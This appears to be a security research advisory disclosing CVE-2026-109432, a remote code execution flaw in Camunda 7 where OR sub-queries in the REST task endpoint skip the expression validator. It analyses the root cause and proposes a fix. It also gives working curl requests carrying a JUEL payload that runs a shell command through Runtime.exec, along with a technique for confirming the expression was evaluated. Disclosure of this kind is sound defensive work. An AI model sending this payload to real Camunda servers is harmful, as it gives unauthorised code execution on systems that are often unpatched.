CVE-2026-109432: The Validator That Had Nothing to Validate, a Camunda RCE

CVE-2026-109432

9.3

Hemanshu Baviskar

In this Security Research

No headings found on page

Camunda disables expressions in ad-hoc queries by default, because an expression in a query is code execution. The check that enforces it runs on every OR sub-query, exactly as a maintainer wrote it in 2017. It has never once had a validator to run.



Severity

Critical, 9.8 (CVSS 3.1) / 9.3 (CVSS 4.0)

Confirmed on

camunda/camunda-bpm-platform:run-7.24.0, source commit ee4826e5e7

Status

CVE-2026-109432, reported through VulnCheck as CNA

TL;DR

  • Defect: enableExpressionsInAdhocQueries defaults to false and is enforced by AdhocQueryValidator. The enforcement is attached to a query object by one of AbstractQuery's two constructors. The REST layer builds every OR branch with the other one.

  • Impact: Remote code execution. An account with zero permissions on any resource, on an instance with authentication and authorization both enabled, ran an OS command as the engine service account. Proven to a benign marker: uid=1000(camunda).

  • Precondition: None. The bypassed control is already at its secure default, so no configuration mitigates it.

  • Status: CVE-2026-109432, reported through VulnCheck as CNA. Camunda 7 Community Edition is End of Life, so a local patch is the realistic remedy.

At a Glance

Product

Camunda 7 (camunda-bpm-platform), REST task query endpoint

Issue

Critical: an OR sub-query skips the validator that forbids expressions in ad-hoc queries, enabling remote code execution

CVE

CVE-2026-109432

Class

Expression injection leading to remote code execution via an unenforced security control

Root cause

enableExpressionsInAdhocQueries is enforced by AdhocQueryValidator, which AbstractQuery’s command-executor constructor attaches. The REST layer builds every OR branch with the bare constructor, so the sub-query has no validator and its validate() call is a no-op

Impact

Remote code execution as the engine service account (uid=1000(camunda)), proven with a benign marker

Requires

Nothing mitigates it: the bypassed control is already at its secure default (false). On a hardened instance (auth and authorization enabled), an account with zero permissions is enough; on the stock image the endpoint answers unauthenticated

Origin

Validator added 2015 (1af47620ff); OR-query support added 2017 (83e51b8e9f), with the sub-query validation dead from the start

Tested on

camunda/camunda-bpm-platform:run-7.24.0, source commit ee4826e5e7

Severity

9.3, Critical   CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
9.8, Critical   CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Fix status

Camunda 7 Community Edition is End of Life; a local patch is the realistic remedy

Disclosure

Reported through VulnCheck as CNA

Found by

CodeAnt AI Security Research Team

A Control That Is Already Switched On

Most findings start with a setting somebody left in the wrong position. This one starts with a setting that is in the right position and does nothing anyway.

Camunda's task query API accepts JUEL expressions in place of literal values, so a Tasklist filter can say dueAfterExpression: ${now()} instead of a hardcoded date. JUEL resolves method calls reflectively, which means an attacker who can put an expression into a query can put Class.forName(...).getMethod(...).invoke(...) into a query. The project understood this in 2015 and shipped the brake in the same breath as the diagnosis. Commit 1af47620ff, "fix(engine): make expression execution in queries configurable", says it plainly in its own message: in the default Tasklist, every authenticated user could submit a task query with expressions and thereby execute arbitrary code on the server.

The resulting flag sits at its safe value in the shipped code:

// engine/.../impl/cfg/ProcessEngineConfigurationImpl.java:845
protected boolean enableExpressionsInAdhocQueries = false;
// engine/.../impl/cfg/ProcessEngineConfigurationImpl.java:845
protected boolean enableExpressionsInAdhocQueries = false;
// engine/.../impl/cfg/ProcessEngineConfigurationImpl.java:845
protected boolean enableExpressionsInAdhocQueries = false;

Secure by default, which is why there is no configuration an operator can change to avoid what follows. And the enforcement is small enough to read in one go:

// engine/.../impl/QueryValidators.java:36-43
public void validate(AbstractQuery<?, ?> query) {
  ProcessEngineConfigurationImpl config = Context.getProcessEngineConfiguration();
  if (config != null && !config.isEnableExpressionsInAdhocQueries()
      && !query.getExpressions().isEmpty()) {          // <-- one question, one object
    throw new BadUserRequestException("Expressions are forbidden in adhoc queries.");
  }
}
// engine/.../impl/QueryValidators.java:36-43
public void validate(AbstractQuery<?, ?> query) {
  ProcessEngineConfigurationImpl config = Context.getProcessEngineConfiguration();
  if (config != null && !config.isEnableExpressionsInAdhocQueries()
      && !query.getExpressions().isEmpty()) {          // <-- one question, one object
    throw new BadUserRequestException("Expressions are forbidden in adhoc queries.");
  }
}
// engine/.../impl/QueryValidators.java:36-43
public void validate(AbstractQuery<?, ?> query) {
  ProcessEngineConfigurationImpl config = Context.getProcessEngineConfiguration();
  if (config != null && !config.isEnableExpressionsInAdhocQueries()
      && !query.getExpressions().isEmpty()) {          // <-- one question, one object
    throw new BadUserRequestException("Expressions are forbidden in adhoc queries.");
  }
}

Send a root-level expression to a hardened instance as a zero-permission user and the brake works exactly as designed:

$ curl -u lowpriv:lowpriv -X POST $B/engine-rest/task \
    -d '{"dueAfterExpression":"${1/0}"}'
{"type":"BadUserRequestException","message":"Expressions are forbidden in adhoc
 queries. This behavior can be toggled in the process engine configuration"}
$ curl -u lowpriv:lowpriv -X POST $B/engine-rest/task \
    -d '{"dueAfterExpression":"${1/0}"}'
{"type":"BadUserRequestException","message":"Expressions are forbidden in adhoc
 queries. This behavior can be toggled in the process engine configuration"}
$ curl -u lowpriv:lowpriv -X POST $B/engine-rest/task \
    -d '{"dueAfterExpression":"${1/0}"}'
{"type":"BadUserRequestException","message":"Expressions are forbidden in adhoc
 queries. This behavior can be toggled in the process engine configuration"}

That is the negative control. Everything that follows is the same expression, moved one level down.

The Correction That Makes This Interesting

The obvious story here is that the validator looks at the root of the query and never walks into the OR branches. That is what we first wrote, and it is wrong. The code does walk into them:

// engine/.../impl/TaskQueryImpl.java:1234-1240
protected void ensureOrExpressionsEvaluated() {
  for (int i = 0; i < queries.size(); i++) {
    queries.get(i).validate();      // it descends. it calls validate.
  }
}
// engine/.../impl/TaskQueryImpl.java:1234-1240
protected void ensureOrExpressionsEvaluated() {
  for (int i = 0; i < queries.size(); i++) {
    queries.get(i).validate();      // it descends. it calls validate.
  }
}
// engine/.../impl/TaskQueryImpl.java:1234-1240
protected void ensureOrExpressionsEvaluated() {
  for (int i = 0; i < queries.size(); i++) {
    queries.get(i).validate();      // it descends. it calls validate.
  }
}

Somebody thought about this and wrote the call. The call is not the problem. The question is what validating a sub-query actually does, and the answer is in AbstractQuery:

// engine/.../impl/AbstractQuery.java:334-338
public void validate() {
  for (Validator<AbstractQuery<?, ?>> validator : validators) {
    validate(validator);
  }
}
// engine/.../impl/AbstractQuery.java:334-338
public void validate() {
  for (Validator<AbstractQuery<?, ?>> validator : validators) {
    validate(validator);
  }
}
// engine/.../impl/AbstractQuery.java:334-338
public void validate() {
  for (Validator<AbstractQuery<?, ?>> validator : validators) {
    validate(validator);
  }
}

A loop over validators. On an OR sub-query that collection is empty, so the loop body never runs.

The control is not missing a traversal. It is a correctly written call into an empty collection, which has been a no-op on this path since the day it was written. That distinction matters for the fix, and we got it wrong first time round: our report proposed overriding getExpressions() to merge the sub-query maps, which treats the symptom. The cause is that the sub-query has no validator attached, and that is where the patch belongs.

Two Constructors, And Which One The Caller Picked

Whether a TaskQueryImpl carries enforcement is decided entirely by which constructor made it. There are two, they sit twelve lines apart, and only one of them installs the validator:

// engine/.../impl/AbstractQuery.java:72-82
protected AbstractQuery() {
}                                              // no validator

protected AbstractQuery(CommandExecutor commandExecutor) {
  this.commandExecutor = commandExecutor;
  addValidator(AdhocQueryValidator.INSTANCE);   // enforcement lives here
}
// engine/.../impl/AbstractQuery.java:72-82
protected AbstractQuery() {
}                                              // no validator

protected AbstractQuery(CommandExecutor commandExecutor) {
  this.commandExecutor = commandExecutor;
  addValidator(AdhocQueryValidator.INSTANCE);   // enforcement lives here
}
// engine/.../impl/AbstractQuery.java:72-82
protected AbstractQuery() {
}                                              // no validator

protected AbstractQuery(CommandExecutor commandExecutor) {
  this.commandExecutor = commandExecutor;
  addValidator(AdhocQueryValidator.INSTANCE);   // enforcement lives here
}

The security property is a side effect of needing a command executor.

ROOT QUERY: the path a Tasklist filter takes
  TaskServiceImpl.java:230          AbstractQuery(exec)        validate() loops
  new TaskQueryImpl(cmdExecutor) -> addValidator(...)       -> 1 validator, ENFORCED
--------------------------------------------------------------------------------
OR BRANCH: reachable as "orQueries" in one HTTP request
  TaskQueryDto.java:1136            AbstractQuery()            validate() loops
  new TaskQueryImpl()            -> empty body               -> 0 validators, NO-OP
ROOT QUERY: the path a Tasklist filter takes
  TaskServiceImpl.java:230          AbstractQuery(exec)        validate() loops
  new TaskQueryImpl(cmdExecutor) -> addValidator(...)       -> 1 validator, ENFORCED
--------------------------------------------------------------------------------
OR BRANCH: reachable as "orQueries" in one HTTP request
  TaskQueryDto.java:1136            AbstractQuery()            validate() loops
  new TaskQueryImpl()            -> empty body               -> 0 validators, NO-OP
ROOT QUERY: the path a Tasklist filter takes
  TaskServiceImpl.java:230          AbstractQuery(exec)        validate() loops
  new TaskQueryImpl(cmdExecutor) -> addValidator(...)       -> 1 validator, ENFORCED
--------------------------------------------------------------------------------
OR BRANCH: reachable as "orQueries" in one HTTP request
  TaskQueryDto.java:1136            AbstractQuery()            validate() loops
  new TaskQueryImpl()            -> empty body               -> 0 validators, NO-OP

Both rows reach the same validate() method. Only the top row has anything for it to iterate over.

The service entry point uses the executor constructor, so an ordinary filter is enforced. Both places that build an OR branch use the bare one: TaskQueryDto.java:1136 in the REST layer and TaskQueryImpl.java:2446 in the engine. Neither is a careless choice in isolation, because a sub-query genuinely does not need a command executor. It only needs one to inherit a security control that happens to be bolted to the same constructor.

Attaching enforcement in a constructor means every future caller silently votes on whether the control applies, and the vote is cast by whether they happened to need the other parameter.

The timeline fits. The validator arrived in 2015. OR-query support arrived in 2017 via commit 83e51b8e9f, which touched TaskQueryImpl.java, TaskQuery.java, Task.xml and one new test file, and neither QueryValidators.java nor AbstractQuery.java. The sub-query validation call shipped in that era and has been dead the whole time.

Zero Permissions To uid=1000

Measured against camunda/camunda-bpm-platform:run-7.24.0 with CAMUNDA_BPM_RUN_AUTH_ENABLED=true and CAMUNDA_BPM_AUTHORIZATION_ENABLED=true. The account lowpriv holds no authorization on any resource, which we confirm before attacking rather than asserting:

# what lowpriv is allowed to do
$ curl -u lowpriv:lowpriv $B/engine-rest/process-definition
[]
$ curl -u lowpriv:lowpriv -X POST $B/engine-rest/user/create -d '{...}'
{"type":"AuthorizationException","message":"The user with id 'lowpriv' does not
 have 'CREATE' permission on resource 'User'."}

# the same forbidden expression, nested one level
$ curl -u lowpriv:lowpriv -X POST $B/engine-rest/task \
    -d '{"orQueries":[{"dueAfterExpression":"${1/0}"}]}'
{"type":"IllegalArgumentException","message":"argument type mismatch"}
# what lowpriv is allowed to do
$ curl -u lowpriv:lowpriv $B/engine-rest/process-definition
[]
$ curl -u lowpriv:lowpriv -X POST $B/engine-rest/user/create -d '{...}'
{"type":"AuthorizationException","message":"The user with id 'lowpriv' does not
 have 'CREATE' permission on resource 'User'."}

# the same forbidden expression, nested one level
$ curl -u lowpriv:lowpriv -X POST $B/engine-rest/task \
    -d '{"orQueries":[{"dueAfterExpression":"${1/0}"}]}'
{"type":"IllegalArgumentException","message":"argument type mismatch"}
# what lowpriv is allowed to do
$ curl -u lowpriv:lowpriv $B/engine-rest/process-definition
[]
$ curl -u lowpriv:lowpriv -X POST $B/engine-rest/user/create -d '{...}'
{"type":"AuthorizationException","message":"The user with id 'lowpriv' does not
 have 'CREATE' permission on resource 'User'."}

# the same forbidden expression, nested one level
$ curl -u lowpriv:lowpriv -X POST $B/engine-rest/task \
    -d '{"orQueries":[{"dueAfterExpression":"${1/0}"}]}'
{"type":"IllegalArgumentException","message":"argument type mismatch"}

No BadUserRequestException. The expression was not refused, it was run.

That exception type is the whole oracle, and it is worth being precise about why. dueAfter expects a Date, so an expression that evaluates successfully still fails type coercion and surfaces as IllegalArgumentException, while an expression that could not run at all surfaces as ProcessEngineException: Unable to resolve expression. Discriminating on the type separates evaluation from parsing:

# java.lang.Runtime resolves -> it RAN, then coercion to Date failed
IllegalArgumentException: argument type mismatch

# no.such.Class does not resolve -> it could not run at all
ProcessEngineException: Unable to resolve expression '${''.getClass()
  .forName('no.such.Class')}' for method 'dueAfter' on class 'TaskQueryImpl

# java.lang.Runtime resolves -> it RAN, then coercion to Date failed
IllegalArgumentException: argument type mismatch

# no.such.Class does not resolve -> it could not run at all
ProcessEngineException: Unable to resolve expression '${''.getClass()
  .forName('no.such.Class')}' for method 'dueAfter' on class 'TaskQueryImpl

# java.lang.Runtime resolves -> it RAN, then coercion to Date failed
IllegalArgumentException: argument type mismatch

# no.such.Class does not resolve -> it could not run at all
ProcessEngineException: Unable to resolve expression '${''.getClass()
  .forName('no.such.Class')}' for method 'dueAfter' on class 'TaskQueryImpl

A bogus class name failing where a real one succeeds is what rules out a generic parse error. We briefly reported this oracle as non-reproducing; that was a shell quoting mistake on our side, and the oracle is sound.

From a working reflective call, the rest is ordinary JUEL. A single HTTP request with a benign marker payload, and then the engine's own filesystem:

$ curl -u lowpriv:lowpriv -X POST $B/engine-rest/task --data-binary @- <<'JSON'
{"orQueries":[{"dueAfterExpression":
 "${''.getClass().forName('java.lang.Runtime').getMethod('getRuntime')
    .invoke(null).exec('/bin/sh -c id>/tmp/PROOF.txt')}

$ curl -u lowpriv:lowpriv -X POST $B/engine-rest/task --data-binary @- <<'JSON'
{"orQueries":[{"dueAfterExpression":
 "${''.getClass().forName('java.lang.Runtime').getMethod('getRuntime')
    .invoke(null).exec('/bin/sh -c id>/tmp/PROOF.txt')}

$ curl -u lowpriv:lowpriv -X POST $B/engine-rest/task --data-binary @- <<'JSON'
{"orQueries":[{"dueAfterExpression":
 "${''.getClass().forName('java.lang.Runtime').getMethod('getRuntime')
    .invoke(null).exec('/bin/sh -c id>/tmp/PROOF.txt')}

The only command executed was id, written to a file. Nothing was destroyed, exfiltrated or persisted.

The hardened run is the one that matters, because it isolates what this bug contributes. On that instance lowpriv is refused deployment, refused user creation, sees an empty process-definition list and is refused the root-level expression. The nested expression is the only thing that works, and it reaches the service account.

Severity

Version

Vector

Score

CVSS 3.1

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.8 Critical

CVSS 4.0

AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

9.3 Critical

Two metrics deserve their reasoning in public, because both could be argued the other way.

Privileges required is PR:N, and that is a statement about the shipped configuration rather than about this bug. The stock image answers GET /engine-rest/engine, GET /engine-rest/user and POST /engine-rest/task with no credentials, because distro/run/.../default.yml carries no run.auth.enabled key at all; the line that turns authentication on lives in production.yml. We measured the unauthenticated nested expression on that image and it wrote the same marker.

We went back and forth on this one in private and should say so. On that same default image an unauthenticated attacker already has code execution through the legitimate deployment API, by deploying a process with a script task, which we also proved. That makes this bug's marginal contribution on a default install close to nothing, and for a while we argued PR:L on that basis. That argument is wrong as scoring. A base score describes the vulnerable configuration as found and does not discount a vulnerability because another path reaches the same impact. The marginal-risk observation belongs in prose, which is where it now is.

Scope stays S:U and the subsequent-system metrics stay N. The marker ran as uid=1000(camunda), the engine's own service account, inside the engine's own JVM. Nothing we demonstrated crossed into a second security authority, and we tried to make the case that it did before concluding it does not.

The reason the score is not academic is the hardened posture. Operators who enabled authentication and authorization have done the thing the documentation asks for, and on that instance this is a genuine privilege escalation from nothing to the service account in one request.

Fix And Detection

Give the sub-query the validator it was always meant to loop over. The call site in ensureOrExpressionsEvaluated() then starts working with no change of its own:

public TaskQueryImpl() {
  addValidator(AdhocQueryValidator.INSTANCE);
}
public TaskQueryImpl() {
  addValidator(AdhocQueryValidator.INSTANCE);
}
public TaskQueryImpl() {
  addValidator(AdhocQueryValidator.INSTANCE);
}

That is the narrow fix. The broader one is to stop making enforcement contingent on constructor choice at all, so the next sub-object added to a query inherits it by default.

  • Block orQueries at the edge if you cannot patch. Reject request bodies to POST /engine-rest/task containing orQueries together with any key ending in Expression. Crude, and it holds.

  • Turn authentication on explicitly. run.auth.enabled is absent from the shipped default.yml, so assuming the default is safe is a mistake independent of this finding.

  • Detection is thin. A rejected root-level expression raises BadUserRequestException and is visible. A successful nested one produces a type-coercion error or no error at all, and nothing distinguishes it from a malformed query in the logs.

One scope note on the siblings, since a reader will ask. TaskQueryImpl is the exposed case: it has twenty expressions.put call sites. The three comparable query classes we checked have zero, so this is not a general pattern across the query layer. Our report implied otherwise and should not have.

Credit And Scope

Finding

CodeAnt AI Security Research Team. The bypass, the constructor analysis, the lab reproduction and the code-execution proof are ours.

Not claimed

JUEL reflective invocation reaching Runtime.exec is long understood and is not a discovery. It establishes the ceiling of an evaluated expression; no novel exploitation technique is claimed.

Corrected here

Our own report stated that the validator never descends into sub-queries. It does. The defect is an empty validator collection, not a missing traversal, and the fix differs accordingly.

Coordination

Reported through VulnCheck as CNA. CVE-2026-109432.

Testing

Locally-provisioned containers only. Benign markers; nothing destroyed, nothing exfiltrated, no third-party system touched.

[FAQ]

Frequently Asked
Questions

What is CVE-2026-109432?

Does this affect every Camunda 7 installation?

Does an attacker need an account?

What can an attacker do?

Why doesn’t turning the expression setting off protect me?

s this the same as the known risk of script tasks?

How do I fix CVE-2026-109432?

[GET STARTED]

Find out what's already
exploitable in your codebase.
Find out what's already
exploitable in your codebase.

Find out what's already exploitable in your codebase.

START PENTEST

NO CC REQUIRED